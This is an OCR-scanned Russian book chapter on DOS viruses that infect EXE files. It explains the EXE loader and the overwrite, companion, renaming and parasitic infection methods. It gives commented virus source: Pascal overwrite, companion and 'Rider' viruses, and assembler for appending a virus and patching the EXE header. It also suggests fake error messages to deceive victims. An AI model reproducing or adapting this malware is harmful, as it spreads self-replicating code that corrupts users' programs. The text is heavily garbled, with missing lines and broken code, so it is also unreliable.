Exe-вирусы
ЕХЕ-ВИРУСЫ
русах, заражающих ЕХЕ-фай-
рассмотрены алгоритмы их работы, отличия между ними, достоинства и недо- статки. Для каждого типа вирусов представлены исход- ные тексты с подробными комментариями. Также приве-. дены основные сведения о структуре и принципах ра- боты ЕХЕ-программы.
СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пуга- ющие своими размерами ЕХЕ-"монстры". Появились и вирусы, умею- щие заражать ЕХЕ-файлы.
В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не- скольких сегментов (кодов, данных, стека). Они могут занимать боль- ше 64Кбайт.
ЕХЕ-файл имеет заголовок, который используется при его загрузке.
и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на- стройки адресов (Relocation Table). Таблица состоит из значений в фор-
указывают значения в таблице, после загрузки программы в память дол- жен быть прибавлен сегментный адрес, с которого загружена программа.
При запуске ЕХЕ-программы системным загрузчиком (вызовом функ- ции DOS 4Bh) выполняются следующие действия:
1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегмент+ООЮЬЮОООЬ - программа). В поля PSP заносятся соответ- ствующие значения.
4. Адрес DTA устанавливается равным PSP:0080h.
5. В рабочую область загрузчика считывается форматированная часть заголовка ЕХЕ-файла.
6. Вычисляется длина загрузочного модуля по формуле:
Si7. e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.
7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16.
8. Вычисляется сегментный адрес (STARTSEG) для загрузки - обычно это PSP+lOh.
9. Считывается в память загрузочный модуль (начиная с адреса STARTSEG:0000).
10. Для каждого входа таблицы настройки:
a) читаются слова IOFF и ISEG;
b) вычисляется RELC^SEG-START^SEG+LSEG;
c) читается слово по адресу RELOSEG:IOFF;
d) к прочитанному слову прибавляется STARTSEG;
11. Распределяется память для программы в соответствии с МахМет и МтМет.
12. Инициализируются регистры, выполняется программа:
a) ES=DS°PSP;
b) АХ=результат проверки правильности идентификаторов драйве- ров, указанных в командной строке;
d) CS=STARTSEG+ReloCS, IP=ExeIP.
ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.
Вирусы, замещающие программный код (Overwrite)
Такие вирусы уже стали раритетом. Главный их недостаток - слишком грубая работа. Инфицированные программы не исполняются, так как
запуске вирус ищет очередную жертву (или жертвы), открывает найден- ный файл для редактирования и записывает свое тело в начало про- граммы, не сохраняя оригинальный код. Инфицированные этими виру-
Вирусы-спутники (Companion)
Эти вирусы получили свое название из-за алгоритма размножения:
к каждому инфицированному файлу создается файл-спутник. Рассмот- рим более подробно два типа вирусов этой группы:
Вирусы первого типа размножается следующим образом. Для каждого ин- фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным
кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением СОМ. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если
файл с заданным именем и расширением СОМ. Если СОМ-файл с та- ким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если
файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет за-
код которого находится в СОМ-файле. Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем
зователь же думает, что работает только запущенная ЕХЕ-программа. Вирус-спутник обезвредить довольно просто - достаточно удалить СОМ-файл.
Вирусы второго типа действуют более тонко. Имя инфицируемого ЕХЕ-файла остается прежним, а расширение заменяется каким-либо
код. При запуске такой инфицированной программы управление полу- чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги- нальному файлу исполняемое расширение (но не ЁХЕ, а СОМ, по- скольку ЕХЕ-файл с таким именем занят вирусом), после чего испол-
запускаемому файлу возвращается расширение неисполняемого. Лече- ние файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.
Вирусы, внедряющиеся в программу (Parasitic)
руемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.
Способы заражения ЕХЕ-файлов
Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохране- нием оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ-файлов, но вмес- то задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибав- ляет к его сегментной компоненте значение регистра DS или ES (полу- ченное при старте вируса) и передает управление на полученный адрес.
Следующий способ - внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после
как бы "сдвигается" в файле на длину кода вируса. Отсюда и название способа - "способ сдвига". При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на
лось дополнительных приемов защиты, то вылечить инфицированный файл очень просто - достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой про- граммы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов - метод переноса - по всей ви- димости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной про- граммы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда на- "метод переноса". После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицирован- ной программы, сохраненное в конце файла, и записывает его в начало
файла, восстанавливая работоспособность программы. Затем вирус уда- ляет код начала программы из конца файла, восстанавливая оригиналь- ную длину файла, и исполняет программу. После завершения програм- мы вирус вновь записывает свой код в начало файла, а оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, каки до инфицирования.
Вирусы, замещающие программный код
Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появ- ляются еще такие вирусы, созданные на языке Assembler, но это, скорее,
ный момент самый маленький из известных overwrite-вирусов написан Reminder'ом (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
лов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например "Abnormal program termination" или "Not enough memory", - пусть пользователь не слишком удивляется тому, что программа не запу- стилась.
12. Завершить программу.
Ниже приведен листинг программы, заражающей файлы таким способом.
{$D-}
{$Е+}
($F-)
($G-}
($!-}
{$L-}
подключается к каждой программе при компиляции)} Uses DOS;
Const
(Имя вируса}
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]='Pain!1;
{Длина получаемого при компиляции ЕХЕ-файла}
Author='Dirty Nazi/SGWW. ';
{Количество заражаемых за один сеанс работы файлов} lnfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле} Virldentifier: Array [1. 5] of Char;
{Файловая переменная для работы с файлами} VirBody: File;
обойтись, так будет понятнее) Target: File;
TargetFile: PathStr;
(Буфер для тела вируса) VirBuf : Array [-I. VirLen] of Char;
(Для даты/времени файла) Time : Longint;
(Счетчик количества инфицированных файлов) InfFiles : Byte;
procedure Init;
begin
LabelBuf[2]:=VirLabel[2];
LabelBuf[4]:=VirLabel[4];
(Обнуляем счетчик количества инфицированных файлов} lnfFiles:=0;
(Связываем файловую переменную VirBody с именем программы. из которой стартовали) Assign(VirBody, ParamStr(O));
Reset(VirBody, 1);
BlockRead(VirBody VirBuf, VirLen);
Close(VirBody);
end;
(Поиск жертвы} procedure FindTarget;
Var Sr: SearchRec;
программа уже заражена, и False, если еще нет} function VirusPresent: Boolean;
begin
(Пока будем считать, что вируса нет} VirusPresent:=False;
(Открываем найденный файл} Assign(Target, TargetFile);
Reset(Target, 1);
(Перемещаемся на длину тела вируса от начала файла}
(Считываем 5 байт - если файл уже заражен,
{Если метка есть, значит есть и вирус}
end;
(Процедура заражения} procedure InfectFile;
{Если размер найденного файла меньше, чем длина вируса плюс 100 байт, то выходим из процедуры} < VirLen+100 Then Exit;
{Если найденная программа еще не заражена, инфицируем ее} If Not VirusPresent Then begin
{Запомним дату и время файла. Атрибуты запоминать не надо, так как поиск ведется среди файлов с атрибутом Archive, а этот атрибут устанавливается на файл после сохранения в любом случае} Time:=Sr. Time;
{Открываем для заражения} Assign(Target, TargetFile);
Reset(Target, 1);
BlockWrite(Target, VirBuf, VirLen);
{Перемещаем указатель текущей позиции
{Вписываем метку заражения} BlockWrite(Target, LabelBuf, 5);
{Устанавливаем дату и время файла} SetFTime(Target, Time);
{Закрываем} Close(Target);
{Увеличиваем счетчик инфицированных файлов} Inc(lnfFiles);
end;
end;
{Начало процедуры FindTarget} begin
{Ищем в текущем каталоге файлы по маске *. ЕХЕ с атрибутами Archive} FindFirstF. EXE', Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
" Then Exit;
(Запоминаем имя найденного файла в переменную TargetFile}
{Вызываем процедуру заражения} InfectFile;
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
end;
end;
begin
hit;
{Ищем жертвы и заражаем их} FindTarget;
{Выдаем на экран сообщение об ошибке}
{Это чтобы компилятор вставил в код константы VirName и Author, условие же поставлено таким образом,
If 2=3 Then begin
WriteLn(Author);
end;
end.
Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены - соотношение
Инфицирование методом создания СОМ-файла спутника
Смысл этого метода - не трогая "чужого кота" (ЕХЕ-программу), со- здать "своего" - СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо-
лишних действий (например, сохранения в теле вируса длины откомпи- лированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Неза- чем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1. Если в командной строке указаны параметры, сохранить их в пере- менную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай- лом СОМ-файл с таким же именем, как у файла-жертвы.
4. Если такой СОМ-файл присутствует, файл уже заражен, переходим к пункту 6.
5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением СОМ.
6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но с расширением ЕХЕ - то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение файлов этим методом.
($М 2048, 0, 0} f$A-} <$В-" ($D-} <$Е+1 {$F-} {$G-}
{$!-}
f$L-( {$N-)
<$V-} {$X+}
(Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)} Uses DOS;
Const
{Имя вируса) VirName='Guesf;
Author='Dirty Nazi/SGWW. 4 PVT only!';
{Количество зараженных за один сеанс работы файлов} lnfCount=2;
Var
{Для имени найденного файла)
{Для создания копии}
(Счетчик количества заражений} InfFiles : Byte;
Dirlnfo : SearchRec;
{Для сохранения параметров командной строки} Parms : String;
(Для цикла For}
(Поиск жертв} procedure FindTarget;
Var
{Функция возвращает True, если найденная программа уже заражена, и False, если еще нет} function VirusPresent: Boolean;
Var
Target : File;
{Пока будем считать, что вируса здесь нет} VirusPresent:=False;
{Пытаемся открыть файл с именем найденной программы,
ResetHarget, 1);
программа уже инфицирована этим вирусом} If IOResult=0 Then begin VirusPresent:=True;
Close(Target);
end;
end;
{Собственно процедура заражения} procedure InfectFile;
{Если найденная программа еще не заражена, инфицируем ее} If Not VirusPresent Then
{С помощью командного процессора копируем вирусный код в СОМ-файл} Swap Vectors;
Exec(GetEnv('COMSPEC'),7C COPY /B '+ParamStr(0)+' '+TargetCOM+' >NUL');
Swap Vectors;
(Увеличиваем на единицу счетчик инфицированных файлов} Inc(lnfFiles);
end;
end;
begin {начало процедуры FindTarget}
с атрибутами Archive}
{Пока есть файлы для заражения}
While DosError=0 Do
If Sr. Name=" Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile} TargetFile:=Sr. Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+'.COM';
{Вызываем процедуру заражения} InfectFile;
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске} FindNext(Sr);
end;
end;
{Основное тело} begin Parms:=' ';
{Запоминаем параметры командной строки} If ParamCount <> 0 Then
Parms:=Parms+' '+ParamStr(l);
{Ищем жертвы и заражаем их} FindTarget;
TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+'. EXE';
FindFirst(TargetFile, AnyRle, Dirlnfo);
{Если такой файл найден, запускаем его на выполнение)
begin
Exec(GetEnv('COMSPEC'),7C '+TargetFile+Parms);
end Else
{Если файл не найден, выходим, не внося в программу изменений) begin WriteLn(#13#10, VirName, ' by '. Author);
WriteLnCKaKoe-нибудь сообщение');
end;
end.
Инфицирование методом переименования ЕХЕ-файла
Отличий в алгоритмах работы этих вирусов и их "коллег", создающих файл-спутник, не так уж много. Но, по всей видимости, заражение ме- тодом переименования несколько совершеннее - для излечения от ви- руса нужно не просто удалить СОМ-файл с кодом вируса, а немного
рованной программой.
1. Если в командной строке указаны параметры, сохранить их в пере-
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай- лом-жертвой файл с таким же именем и с расширением, которое
граммный оверлей).
реходим к пункту 7.
нем, но с расширением, выбранным для инфицированной программы.
6. С помощью командного процессора скопировать файл, из которого по- лучено управление, в файл с именем жертвы и расширением жертвы.
7. Найти в каталоге, из которого получено управление, файл с именем стартовой программы, но с расширением, выбранным для инфици- рованной - это и будет зараженная программа, которую в данный момент необходимо запустить на исполнение.
9. Изменить расширение найденного файла на СОМ (ни в коем случае не на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!).
10. Процедурой Ехес загрузить и выполнить переименованный файл - то есть выполнить инфицированную программу.
11. Вернуть СОМ-файлу с инфицированной программой выбранное расширение, то есть превратить его опять в неисполняемый.
12. Вернуть управление в DOS.
Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (овер- лейный файл), а на его место с помощью командного процессора копи- руется вирусный код. При запуске происходит заражение только что найденного ЕХЕ-файла, затем вирусный код переименовывается
ние. Когда оригинал отработал, происходит переименование в обратном порядке. С защищенного от записи диска программа не запустится, она выдаст сообщение, что диск защищен от записи.
В представленном здесь виде вирус легко обезвредить, достаточно про- сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле- чение, в вирусе может быть использован такой прием:
procedure MakeNot;
Var
Buf10: Array [1. 10] of Byte;
Cicle: Byte;
begin Seek(Prog, 0);
Reset(Prog);
BlockRead(Prog, Buf10, 10);
Seek(Prog, 0);
Close(Prog);
end;
При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с пере- менной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и ко- дируются операцией Not. ЕХЕ-программа становится неработоспособ- ной. Запускать эту процедуру нужно не только перед прогоном ориги- нала, но и после него.
{ Name Rider }
{ Version 1. 0 }
{ Stealth No }
{ Tsr No }
{ Attac speed Slow }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,
{Используются модули DOS и System (модуль System автоматически подключается к каждой программе при компиляции)}
Const Fail='Cannot execute '^13#10'Disk is write-protected';
{Расширения файлов, которые будем использовать}
Ovl='. OVL';
Ехе=. ЕХЕ';
Var Dirlnfo : SearchRec;
Sr : SearchRec;
Ch : Char;
I : Byte;
OurName : PathStr;
OurProg : PathStr;
Ren : File;
CmdLine : ComStr;
Victim : PathStr;
VictimName : PathStr;
(Процедура для проверки диска на Read Only) procedure CheckRO;
begin Assign(Ren, #$FF);
ReWrite(Ren);
Erase(Ren);
If lOResult<>
{Если диск защищен от записи, то ответ 'Access denied'}
begin
WriteLn(Fail);
Halt(5);
end;
end;
(Процедура прогонки оригинала} procedure ExecReal;
begin
FindFirst(OurName+Ovl, AnyFile, Dirlnfo);
If DosError <>
0 Then
(Если не нашли}
begin
WriteLn('Virus RIDER. Let's go on riding!');
<t>ann не найден) Halt(18);
end;
{Переименовываем программу в OVL} Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovr);
{Переименовываем оверлей в ЕХЕ} Assign(Ren, OurName+Ovl);
ReName(Ren, OurName+Exe);
(И запускаем его} Swap Vectors;
Exec(GetEnv('COMSPEC'), 7C '+OurName+Exe+CmdLine);
Swap Vectors;
{А теперь возвращаем все на место) Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovl);
ReName(Ren, OurName+Exe);
end;
procedure Infect;
Assign(Ren, Victim);
{Копируем тело вируса на место жертвы} SwapVectors;
Exec(GetEnv('COMSPEC'), '/С COPY '+OurProg+' '+Victim+' >NUL');
end;
{Процедура поиска жертвы} procedure FindFile;
begin
{В текущем каталоге ищем ЕХЕ-файл} FindFirst('*EXE', AnyFile, Dirlnfo);
If DosError=0 Then
{И если он найден} begin
{Запоминаем имя жертвы} Victim:=Dirlnfo. Name;
{Запоминаем имя без расширения} VictimName:=Copy(Victim, 1, Length(Victim)-4);
FindFirst(VictimName+Ovl, AnyFile, Sr);
If DosError<>
0 Then Infect;
end;
end;
{Процедура инициализации переменных}
begin
(Командная строка} ";
{Полное имя нашей программы} OurProg:=ParamStr(0);
{Имя нашей программы без расширения}
For l:=1 To ParamCount Do begin
{Запоминаем параметры} CmdLine:=ParamStr(l)+' ';
end;
end;
{Основная подпрограмма} begin
{А эту табличку запишем в код для тех,
If False Then
begin
end;
{Инициализируемся} Init;
(Проверка диска на R/О} CheckRO;
{Ищем и заражаем} FindFile;
{Загружаем оверлей}
end.
Эти вирусы являются самыми "хитрыми". Поскольку такой вирус вне- дряется в инфицируемую программу, это дает ему много преимуществ
усложняется лечение инфицированных файлов.
Стандартное заражение ЕХЕ-файлов
Стандартное заражение - заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла уп- равление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного СОМ-вируса. Чтобы выяснить
граммы:
;Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт, ;которых вполне достаточно)
mov ah,3Fh
mov dx,offset EXEHeader mov cx,0018h int 21 h
Останавливаем в SI адрес считанного заголовка. В дальнейшем
[Получаем реальную длину файла, переместив указатель текущей
GetRealFSize:
mov ax,4202h
mov bx. Handle
xor dx. dx
mov Reallen. dx mov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения, нужно
оверлейные файлы. Их длина, указанная в заголовке, . -меньше реальной, то есть эти файлы загружаются ;в память не полностью.
Следовательно, если заразить такой файл, вирус попадет ;в незагружаемую часть.
push dx
push ax
рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток CompareOVL
mov cx,0200h
div ex
;Ha данный момент в регистре АХ находится число страниц ;(в каждой странице содержится 512 байт),
;еще одну (неучтенную) страницу. . Добавим эту страницу к общему числу страниц - ;если остаток не равен нулю, то . увеличим число страниц
or dx. dx
jz m1
inc ax m1:
. Будем считать пригодным для заражения . стандартным способом файлы с длиной,
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть управление ;зараженной программе, сохраним поля ReloSS,
. равны смещению соответствующего ;элемента в заголовке ЕХЕ-файла (Приложение А)
mov ax,[si+ReloSS]
mov oldss. ax
mov ax,[si+ExeSP]
mov ax,[si+ReloCS]
mov oldcs. ax
mov ax,[si+Exe!P]
mov oldip. ax
. Восстановим из стека реальную длину файла
pop dx
. Рассчитаем длину программы с вирусом, для чего прибавим ;к длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE - длина тела вируса
;как рассчитывали длину файла без вируса)
mov cx,0200h
div ex
or dx. dx
jz newJen
inc ax NewJen:
;Внесем в заголовок новую длину файла mov [si+PageCnt],ax mov [si+PartPag],dx
;Прочитаем реальную длину файла. ;По ней будем рассчитывать новую
Evalnewentry:
mov dx. Reallen+2
; Рассчитаем новую точку входа.
;Разделим длину на размер параграфа (10h)
div ex
Получили число параграфов (AX) и остаток (DX - смещение
. параграфов в заголовке - получим сегмент входа в ЕХЕ-файл sub ax,[si+HdrSize]
;3апишем новую точку входа в заголовок mov [si+ReloCS],ax
;и вирус начинался бы с OOOOh. ;Но этого делать не стоит.
,-Естественно, все обращения к данным в этом вирусе
;Вместо "mov ax,ANYDATA" придется делать так:
; mov si. VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA - смещение относительно начала тела вируса
;вернем, иначе можно стереть заготовленные в стеке значения!
. 'Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека -
;на 100h байт после тела вируса
mov [si+ReloSSj. ax
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл, не забыв и тело вируса.
;Если тело вдруг не допишется, ;то файл испортим зря UpdateRle:
;3апишем тело вируса WriteBody:
. -Установим указатель чтения/записи в конец файла mov bx,Handle хог сх,сх xor dx. dx mov ax,4202h int 21 h
. Запишем тело вируса в файл mov ah,40h mov cx. VIRSIZE mov dx. offset VIRStart int 21h
;3апишем заголовок WriteHeader:
;Установим указатель чтения/записи в начало файла mov ax,4200h
xor ex,ex
xor dx. dx
int 21 h
. Запишем заголовок в файл
mov cx,0018h
mov dx. si
int 21 h
Итак, вирус "поселился" в ЕХЕ-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процеду- ра выхода из вируса:
CureEXE:
StackBack:
-. Установим первоначальный указатель (сегмент и смещение) стека mov ax. ds
-. Прибавим ООЮп, после чего в АХ будет
;загружен программный модуль add ax,10h
Прибавим первоначальный сегмент стека
db @addax ;код ADD AX, дальше по аналогии OldSS dw ? ;это значение было установлено ;при заражении
;3апретим прерывания, так как со стеком нельзя работать,
cli
-. Установим сегмент стека (PSP+Wh+OldSS) mov ss. ax
:Установим первоначальный указатель (смещение) стека
db @movsp OldSP dw ?
; Разрешим прерывания - опасный участок пройден sti
[Подготовим значения в стеке для команды IRET RetEntryPoint:
pushf
рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax. DATASEG
db @addax OldCS dw ?
;Сохраним в стеке смещение исходной точки входа
db @movax OldIP dw ?
push ax
. Запустим программу. В стеке находятся смещение ;точки входа, сегмент точки входа и флаги iret
Инфицируемая программа размещается в файле после кода вируса, сдвигаясь на его длину, отсюда и название метода. Алгоритм работы вируса следующий:
3. Закрыть файл.
4. Найти файл-жертву (для данного типа вирусов лучше СОМ-файл, но можно и не слишком большой ЕХЕ - это связано с тем, что все тело инфицируемой программы считывается в память и ее может не хватить, если эта программа слишком большая).
ты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер все тело программы.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в файл после тела вируса тело программы из буфера.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер тело инфицированной программы, расположенное
14. Создать на диске временный файл с расширением СОМ или ЕХЕ (в зависимости от того, какой тип программ заражается).
15. Записать в этот файл тело программы из буфера.
16. Закрыть созданный файл.
17. Процедурой Ехес запустить созданный файл на исполнение - выполнится инфицированная программа.
18. После завершения работы программы созданный файл удалить.
19. Вернуть управление в DOS.
Вирусы - это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина получен-
Внедрение способом переноса
ная длине вируса. На освободившееся место вписывается вирус,
и название метода - "метод переноса". Есть и другие варианты. Иногда, например, начало программы записывается в середину файла, а середина переносится в конец, чтобы еще сильнее все запутать. Превосходство дан- ного метода над другими описанными в том, что инфицированная про- грамма исполняется в том же виде, в каком она была до заражения, из файла с тем же именем и расширением. То есть программы, проверя- ющие себя на предмет заражения вирусом, его не замечают. Корректно исполняются и такие программы, которые ищут свои файлы конфигура- ции с именами:
ИМЯИПУТЬКСАМОЙПРОГРАММЕ +. INI
Недостаток данного метода проявляется при сбоях в работе компьюте- ра. Если при исполнении инфицированной программы компьютер "повиснет" или произойдет перезагрузка системы, инфицированная
"чистой", то есть без вируса. Но, во-первых, "кто не рискует, тот не пьет шампанского", а во-вторых, программы виснут редко. Алгоритм работы такого вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть вариан- ты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное начало программы из буфера.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
ное в конце файла.
14. Записать считанное начало программы поверх кода вируса в начало файла.
15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).
16. Закрыть файл.
17. Процедурой Ехес запустить стартовый файл (ParamStr(O)) на ис-
18. После завершения работы программы опять открыть стартовый файл.
19. Записать в начало файла тело вируса, а оригинальное начало про- граммы опять переместить в конец файла.
21. Вернуть управление в DOS.
|